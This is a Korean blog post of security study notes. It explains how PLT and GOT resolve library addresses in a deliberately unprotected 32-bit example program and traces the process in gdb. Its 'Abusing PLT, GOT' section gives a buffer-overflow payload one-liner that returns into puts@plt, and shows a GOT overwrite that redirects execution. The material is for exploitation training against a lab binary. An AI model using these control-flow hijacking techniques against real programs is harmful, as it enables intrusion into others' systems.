2. PLT, GOT Section
PLT, GOT
example4.c
//gcc -o example4 example4.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32 -no-pie
#include <stdio.h>
int main(void){
char buf[32] = {};
puts("Hello World!");
puts("Hello ASLR!");
scanf("%s", buf);
return 0;
}
example4의 디스어셈블리 결과
…
0x08048480 <+37>: push 0x8048540
0x08048485 <+42>: call 0x8048320 <puts@plt>
0x0804848a <+47>: add esp,0x4
0x0804848d <+50>: push 0x804854d
0x08048492 <+55>: call 0x8048320 <puts@plt>
0x08048497 <+60>: add esp,0x4
0x0804849a <+63>: lea eax,[ebp-0x20]
0x0804849d <+66>: push eax
0x0804849e <+67>: push 0x8048559
0x080484a3 <+72>: call 0x8048340 <__isoc99_scanf@plt>
…
puts와 scanf 함수를 호출할 때 해당 함수의 라이브러리 코드 주소로 바로 점프하지 않고 PLT 영역으로 점프하는 것을 확인 가능.
PLT : 외부 라이브러리 함수를 사용할 수 있도록 주소를 연결해주는 역할을 하는 테이블
GOT : PLT에서 호출하는 resolve 함수를 통해 구한 라이브러리 함수의 절대 주소가 저장되어 있는 테이블
ASLR이 적용되어 있는 환경에서, 동적으로 라이브러리를 링크하여 실행되는 바이너리는 바이너리가 실행될 때마다 라이브러리가 매핑되는 메모리의 주소가 변한다. PLT와 GOT 영역이 존재하는 이유는 Dynamically linked binary의 경우 바이너리가 실행되기 전까지 라이브러리 함수의 주소를 알 수 없기 때문이다. 라이브러리가 메모리에 매핑된 후 라이브러리 함수가 호출되면, 정적 주소를 통해 해당 함수의 PLT와 GOT 영역에 접근함으로써 함수의 주소를 찾는다.
put 함수의 PLT
0x8048320 <puts@plt>: jmp DWORD PTR ds:0x804a00c
0x8048326 <puts@plt+6>: push 0x0
0x804832b <puts@plt+11>: jmp 0x8048310
puts 함수의 GOT
(gdb) x/wx 0x804a00c
0x804a00c: 0x08048326
(gdb)
디버깅을 통해 puts 함수를 호출했을 때 PLT에서 어떤 일을 하는지 확인하기
(gdb) b*0x8048485
Breakpoint 1 at 0x8048485
(gdb) r
Starting program: ~/example4
Breakpoint 1, 0x08048485 in main ()
(gdb) x/i $eip
=> 0x8048485 <main+42>: call 0x8048320 <puts@plt>
(gdb) si
0x08048320 in puts@plt ()
(gdb) x/4i $eip
=> 0x8048320 <puts@plt>: jmp DWORD PTR ds:0x804a00c
0x8048326 <puts@plt+6>: push 0x0
0x804832b <puts@plt+11>: jmp 0x8048310
0x8048330 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a010
(gdb) x/wx 0x804a00c
0x804a00c: 0x08048326
(gdb) x/2i 0x8048310
0x8048310: push DWORD PTR ds:0x804a004
0x8048316: jmp DWORD PTR ds:0x804a008
(gdb) x/wx 0x804a008
0x804a008: 0xf7fee000
puts@plt+0에서는 0x804a00c 메모리를 참조해 저장되어 있는 값으로 점프한다. 해당 메모리에는 puts@plt+6의 주소가 저장되어 있다. puts@plt+6에서는 스택에 0을 push한 후 0x8048310 함수로 점프한다. puts@plt+6에서는 스택에 0을 push 한 후 0x8048310 함수로 점프한다. 이후에는 0x804a008 주소에 저장되어 있는 0xf7fee000 함수로 점프한다.
(gdb) x/11i 0xf7fee000
0xf7fee000: push eax
0xf7fee001: push ecx
0xf7fee002: push edx
0xf7fee003: mov edx,DWORD PTR [esp+0x10]
0xf7fee007: mov eax,DWORD PTR [esp+0xc]
0xf7fee00b: call 0xf7fe77e0
0xf7fee010: pop edx
0xf7fee011: mov ecx,DWORD PTR [esp]
0xf7fee014: mov DWORD PTR [esp],eax
0xf7fee017: mov eax,DWORD PTR [esp+0x4]
0xf7fee01b: ret 0xc
(gdb) b*0xf7fee01b
Breakpoint 2 at 0xf7fee01b
(gdb) c
Continuing.
Breakpoint 2, 0xf7fee01b in ?? () from /lib/ld-linux.so.2
(gdb) x/wx $esp
0xffffd520: 0xf7e62ca0
(gdb) x/i 0xf7e62ca0
0xf7e62ca0 <puts>: push %ebp
(gdb)
링커 라이브러리인 ld-linux.so.2 메모리에 있는 0xf7fee000 함수가 리턴하는 시점에 bp를 설정해 스택 메모리 확인. puts 함수로 점프하는 것으로 보아, 0xf7fee000 함수는 호출된 라이브러리 함수의 주소를 알아내는 함수임을 알 수 있음.
Abusing PLT, GOT
특정 함수의 PLT를 호출하면 함수의 실제 주소를 호출하는 것과 같은 효과를 나타낸다. PLT 주소는 고정되어 있기 때문에 서버에 ASLR 보호 기법이 적용되어 있어도 PLT로 점프하면 RTL과 비슷한 공격이 가능하다.
example4에서 스택 버퍼 오버플로우 취약점을 이용해 리턴주소를 puts@plt+6(0x8048326)으로 바꾸고, 첫 번째 인자는 "ASLR!" 문자열의 주소인 0x8048553로 바꿔보자.
$ (python -c 'print "A"*36 + "\x26\x83\x04\x08" + "BBBB" + "\x53\x85\x04\x08"') | ./example4
Hello World!
Hello ASLR!
ASLR!
[1] 121124 done ( python -c 'print "A"*36 + "\x26\x83\x04\x08" + "BBBB" + "\x53\x85\x04\x08"') |
121126 segmentation fault (core dumped) ./example4
puts 함수가 실행되어 "ASLR!" 문자열이 출력된 것 확인. 하지만 puts 함수가 실행된 후 리턴할 주소는 0x42424242이기 때문에 Segmentation falut가 발생해 비정상 종료됨. 함수가 호출될 때 GOT에 저장된 주소로 점프하기 때문에 GOT에 저장된 값을 바꾸면 원하는 주소로 점프 가능함.
example4 바이너리의 main 함수에 bp를 걸고 실행한 후 puts함수의 GOT인 0x804a00c 메모리의 값을 0xdeadbeef로 바꿔보기
$ gdb -q ./example4
Reading symbols from ./example4...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x8048461
(gdb) r
Starting program: ~/example4
Breakpoint 1, 0x08048461 in main ()
(gdb) set *0x804a00c = 0xdeadbeef
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
(gdb) x/i $eip
=> 0xdeadbeef: Cannot access memory at address 0xdeadbeef
(gdb)
프로그램을 이어서 실행하면 puts가 호출될 때 puts@got에 저장된 값으로 점프해 eip 레지스터의 값이 0xdeadbeef로 바뀜.
pLT에 존재하는 함수들(프로그램에서 한 번 이상 사용하는 라이브러리 함수)은 고정된 주소를 통해 호출 가능함. 하지만 example4에서는 최종 목표인 쉘을 획득하는 데 필요한 함수들(system 또는 exec 함수)을 사용하지 않아 ASLR 환경에서 직접적으로 해당 함수들을 호출할 수 없음.
'시스템 해킹 > dream hack' 카테고리의 다른 글
[dream hack] RELRO (0) | 2021.02.28 |
---|---|
[dream hack] SSP (0) | 2021.02.28 |
[dream hack] ASLR (0) | 2021.02.26 |
[dream hack] NX bit (0) | 2021.02.20 |
[dream hack] NOP Sled (0) | 2021.02.18 |